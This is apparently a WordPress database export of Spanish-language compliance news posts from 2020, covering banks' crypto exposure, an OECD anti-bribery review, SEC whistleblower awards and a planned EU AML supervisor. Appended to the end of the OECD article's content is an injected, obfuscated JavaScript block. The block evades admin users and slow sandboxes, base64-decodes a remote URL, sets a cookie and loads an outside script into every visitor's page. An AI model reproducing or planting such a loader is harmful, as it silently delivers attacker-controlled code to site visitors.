del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad 